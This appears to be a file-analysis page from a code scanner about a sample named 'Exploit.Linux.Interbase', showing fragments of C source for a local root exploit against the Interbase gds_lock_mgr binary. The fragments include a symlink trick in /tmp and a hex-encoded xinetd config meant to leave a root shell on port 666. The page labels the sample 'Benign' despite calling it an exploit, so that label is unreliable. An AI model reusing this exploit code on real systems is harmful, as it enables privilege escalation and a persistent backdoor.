Benign Download

Exploit.Linux.Interbase

C-family source calls the system functionC opens a file in overwrite mode

SHA-256eba547910620227891fc82f5d2fb46d188e85bbfeca0e2edfbd10dd39c67fb7b

Evidence

English function-word token "and" lines 1–5

1:32… l root compromise
2// All cobalt Linux affected, and certain mandrake installations.
3// Wouter ter Maat aka grazer - http://www.i-security.nl
4
5#incl …

English function-word token "the" lines 14–26

⋯5 lines
19FILE *fd;
20
21/* check for a rootshell on port 666 after the machine has rebooted.
22 * exploit written to work on a raq550 using xinetd
23 */
24
25char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
26              "\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x2 …

References C fopen file-open API lines 35–58

35:9… stdout, "*** gds_lock_mgr local root exploit - grazer ***\n");
36
37uname(&buf);
38setenv("INTERBASE", "/tmp", 1); 
39sprintf(path, "%s", "/tmp/isc_init1.");
⋯4 lines
44
45sprintf(lnc, "ln %s -s %s", BDPATH, path);
46system(lnc);
47
48if(fd=fopen(GDSBIN, "r")) {
49system(GDSBIN); close(fd); }
50else {
51fprintf(stderr, "%s not found...\n", GDSBIN); 
52exit(0); }
53
54if(fd=fopen(BDPATH, "w")) { 
55fprintf(stderr,"     exploit succesfull...\n");
56fprintf(fd, "%s", hexbd); close(fd);}
57else {
58fprintf(stderr, " …